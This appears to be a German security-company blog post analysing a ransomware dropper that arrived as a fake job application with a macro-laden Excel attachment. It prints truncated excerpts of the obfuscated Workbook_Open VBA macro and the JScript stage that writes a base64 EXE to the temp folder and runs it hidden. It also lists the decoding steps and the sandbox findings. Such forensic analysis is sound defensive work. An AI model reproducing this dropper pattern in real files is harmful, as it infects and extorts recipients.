Goldauge sei wachsam

Die SySS GmbH erreichte am 07.12.2016 eine Bewerbung auf eine Stelle, die bereits seit geraumer Zeit nicht mehr ausgeschrieben war. Im Prinzip ein normaler Vorgang, dass eine Bewerbung zu spät eintrifft, kann ja durchaus vorkommen. Dass die angestrebte Stelle im Betreff komplett in GROSSBUCHSTABEN geschrieben war und mit (M/W) endete, war allerdings bereits seltsam.

Die Bewerbung beinhaltete zwei Anhänge – ein "Anschreiben", als PDF und eine Excel-Datei, die Lebenslauf und einen Kompetenztest (was auch immer das sein soll) zu enthalten behauptet.

Die Personalabteilung der SySS GmbH war vorgewarnt, mit Social Engineering Angriffen ist zu rechnen. Anstatt also ungeprüft die Anhänge zu öffnen, wurde die E-Mail komplett an die Abteilung für digitale Forensik und Incident Response zur Untersuchung weitergeleitet.

Untersuchung

PDF-Dokumente können zwar Schadcode enthalten, dieser ist jedoch normalerweise auf Schwachstellen in der zugehörigen Software ausgelegt. Die Datei wurde in einer gesicherten Umgebung geöffnet und der Inhalt geprüft. Auf den ersten Blick scheint es sich um normale Bewerbungsunterlagen zu handeln. Die Bewerbung ist sehr allgemein gefasst, offenbar wurde sie als Serienbrief erstellt und nur die Stellenbezeichnung und der Empfänger ausgetauscht.

Office-Dokumente (wie die angehängte XLS-Datei) können mit Hilfe von Makros problemlos eigene Programme ausführen. Daher beschränkte sich die Untersuchung auf diesen Anhang.

Erste Stufe

Zunächst wurden mit dem Programm olevba (http://decalage.info/python/oletools) die Makros aus der Excel-Arbeitsmappe extrahiert. Bei derartiger Schadsoftware sind Verschleierungstaktiken (Obfuscation) üblich, normalerweise erhält man einige hundert Zeilen VBA-Code. Das hier vorliegende Programm ist etwas komplexer, es enthält insgesamt über 30­ 000 Zeilen.

Eine kurze Suche offenbart, dass – wie bei Schadsoftware üblich – ein Unterprogramm Workbook_Open existiert, das beim Öffnen des Dokuments ausgeführt wird.

Die Untersuchung dieses Programm gestaltet sich jedoch eher aufwendig: 

Sub Workbook_Open()
 Dim WJ3
 WJ3 = WJ3 & BSPA4() & RYVQ4() & UZDV8() & THZZ3() & FIOJ7() & DPXM2() & BHOW3() & ...
 [... snip 40 lines ...]

 Set IX8 = CreateObject"MSScriptControl.ScriptControl"
 IX8.Language = "JScript"
 If IX8.Eval(WJ3) Then
 End If
 End Sub 

Offenbar wird hier ein JScript-Interpreter erzeugt, der anschließend das in der Variable WJ3 gespeicherte Programm ausführt.

Der interessante Part des Programms liegt also in der Variable WJ3, deren Inhalt in den Zeilen darüber aus 1055 Funktionsaufrufen zusammengesetzt wird. Von Hand kommt man hier nicht weiter.

Eine Möglichkeit wäre, das Dokument in Excel zu laden und mit dem Skript-Debugger nur bis zu der Stelle auszuführen, wo der Inhalt dieser Variable festgelegt ist. Dies müsste in einer abgesicherten Umgebung geschehen, damit bei einem Bedienfehler nicht das System infiziert wird.

Für diese Analyse wurde ein anderer Weg gewählt. Die 1055 Funktionen, die in dem Dokument definiert sind, tun nichts weiter als einige konstante Zeichenketten zu definieren und sie zusammengesetzt zurückzugeben. Für so einfache Programme ist die Syntax von VBA ähnlich genug zu der von Python, sodass der Quellcode einfach konvertiert werden kann.

Daher entwickelte die SySS ein Hilfsprogramm, dass aus den 1055 VBA-Funktionen 1055 Python-Funktionen machte, die dann in einem interaktiven Interpreter eingelesen wurden.

Mit einer leichten Modifikation lässt sich dann auch der interessante Teil der Funktion Workbook_Open in den Python-Interpreter kopieren, sodass am Ende eine Variable WJ3 mit über 500kB existiert.

Aus dem Rest des Programms ist klar, dass es sich im JavaScript-Code handeln muss. Also wurde der Inhalt für die weitere Verarbeitung in eine Datei geschrieben.

Zweite Stufe

Die entstehende JavaScript-Datei besteht nur aus einer einzigen langen Zeile:

 var fso = new ActiveXObject('Scripting.FileSystemObject');var tmp_path = fso.GetSpecialFolder(2) + '\\' + fso.GetTempName();tmp_path...  

Auch wenn aus diesem Anfang bereits erkennbar ist, wie das System arbeitet, ist das Programm in dieser Form sehr schlecht lesbar.

Glücklicherweise gibt es das Programm js-beautify (http://jsbeautifier.org/), ein Programm, dass den Programmcode in eine für Menschen besser lesbare Form überführt.

Nach der Verarbeitung in js-beautify sieht das Programm wie folgt aus:

var fso = new ActiveXObject('Scripting.FileSystemObject');
 var tmp_path = fso.GetSpecialFolder(2) + '\\' + fso.GetTempName();
 tmp_path = tmp_path.replace('.tmp', '.exe');
 var stream = new ActiveXObject('ADODB.Stream');
 stream.Open();
 stream.Type = 1;
 stream.Position = 0;
 var xmlObj = new ActiveXObject('MSXml2.DOMDocument');
 var docElement = xmlObj.createElement('Base64Data');
 docElement.dataType = 'bin.base64';
 docElement.text = '';
 docElement.text = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ...
 stream.Write(docElement.nodeTypedValue);
 
 [... snip many similar lines ...]
 
 stream.SaveToFile(tmp_path);
 stream.Close();
 var shell = new ActiveXObject('WScript.Shell');
 shell.run(tmp_path, 0);

Hier wird offensichtlich eine Datei im temporären Verzeichnis angelegt (siehe https://msdn.microsoft.com/en-us/library/a72y2t1c%28v=vs.84%29.aspx) und mit der Endung .exe versehen. Die Inhalte der geschriebenen Datei sind dabei Base64-codiert direkt im Programmcode abgelegt.

Um diese Daten zu entpacken, wurden die Base64-Strings aus der Datei extrahiert:

  grep -Po "(?<=docElement.text = ').+(?=')" stage2_beautified.js > stage3_b64x  

und mit einem kurzen Python-Skript in die Zieldatei geschrieben:

out = open('stage3.exe', 'wb')
 for l in open('stage3_b64x'):
 out.write(base64.b64decode(l))
 out.close()

Das Programm-File zeigt dabei, dass es sich tatsächlich um ein ausführbares Windows-Programm handelt, die Decodierung war also erfolgreich:

$ file stage3.exe
 stage3.exe: PE32 executable (GUI) Intel 80386, for MS Windows 

Dritte Stufe

Ab hier würde eine manuelle Untersuchung der Schadsoftware sehr aufwendig.

Als ersten Schritt wurde der SHA-256-Hash der Datei berechnet und eine Suche bei Virustotal (https://www.virustotal.com) gestartet. Im ersten Schritt wird hier nicht das Programm selbst hochgeladen, sondern lediglich abgefragt, ob die Datei bereits bekannt ist. Da ein Angreifer diese Abfrage ebenso machen könnte, empfiehlt es sich, unbekannte Schadsoftware nur nach reiflicher Überlegung hochzuladen. Falls der Angreifer die Schadsoftware gezielt an einzelne Ziele verschickt hat, kann er über diese Überprüfung feststellen, ob die Schadsoftware gefunden wurde.

Daher empfiehlt die SySS, prinzipiell immer zuerst eine Abfrage mit dem Hash durchzuführen, der sich für einen Angreifer schwerer prüfen lässt.

Im vorliegenden Fall wurde die Datei zum Untersuchungszeitpunkt bereits mindestens zweimal hochgeladen, insofern ist anzunehmen, dass die identische Schadsoftware noch an andere Opfer ausgeliefert wurde. Die Erkennungsrate lag allerdings nur bei 6/56, d.h. 50 der dort eingesetzten Virenscanner haben die Datei als harmlos eingestuft.

Dieses Verhalten ergibt sich aus der Arbeitsweise von Virenscannern und führt dazu, dass Virenscanner neue Schadsoftware in der Regel sehr schlecht erkennen. Ein Virenscanner auf dem Rechner ist zwar unerlässlich, der Schutz gegen neue Schadsoftware ist jedoch eher begrenzt.

Als nächsten Schritt gilt es, die Malware tatsächlich bei der Arbeit zu beobachten. Hierfür werden Sandboxes eingesetzt. Idealerweise sollte man eine derartige Sandbox selbst betreiben, nur so kann sichergestellt werden, dass keine unbeteiligten Dritten Informationen über eine Infektion oder eine Entdeckung erhalten. Dies gilt besonders dann, wenn der Datei-Hash auf Virustotal noch unbekannt ist.

Für einfache Fälle wie den hier vorliegenden (Standardschadsoftware, bereits mehrere Uploads bei Virustotal), kann man auch eine öffentliche Sandbox (zum Beispiel unter https://malwr.com) verwenden. Auch hier gilt, dass jeder prüfen kann, ob eine Datei schon einmal hochgeladen wurde, insofern will ein Upload gut überlegt sein.

Die Sandbox führt die Schadsoftware in einer kontrollierten Umgebung aus und beobachtet dabei, was während der Ausführung geschieht.

Die hier vorliegende Malware sucht sich zunächst einen unauffälligen Namen aus dem Windows-Verzeichnis (in diesem Fall perfmon.exe) und erzeugt eine Kopie von sich unter diesem Namen, die dann ausgeführt wird. Alles Interessante passiert aus diesem neuen Prozess heraus.

Die Kopie des Schadsoftware öffnet nun die Festplatte in Rohform (PhysicalDrive0) und schreibt dort einen neuen Bootloader, der dann den eigentlichen Schaden am System anrichtet. In den Daten, die in den Bootloader geschrieben werden, findet sich auch die Adresse, unter der die Angreifer Ihre Zahlungsplattform aufgestellt haben.

Es handelt sich um eine .onion-URL, sie ist also nur aus dem TOR-Netz erreichbar.

Bis zu dieser Stelle werden offenbar noch keine Daten auf der Festplatte verschlüsselt. Soweit die Schadsoftware dies tut, geschieht es erst, wenn der Rechner neu gestartet wird.

An dieser Stelle endet die Analyse des Droppers. Das weitere Verhalten der Schadsoftware ähnelt dem der Vorgänger Petya und Mischa, die bereits im Detail analysiert wurden.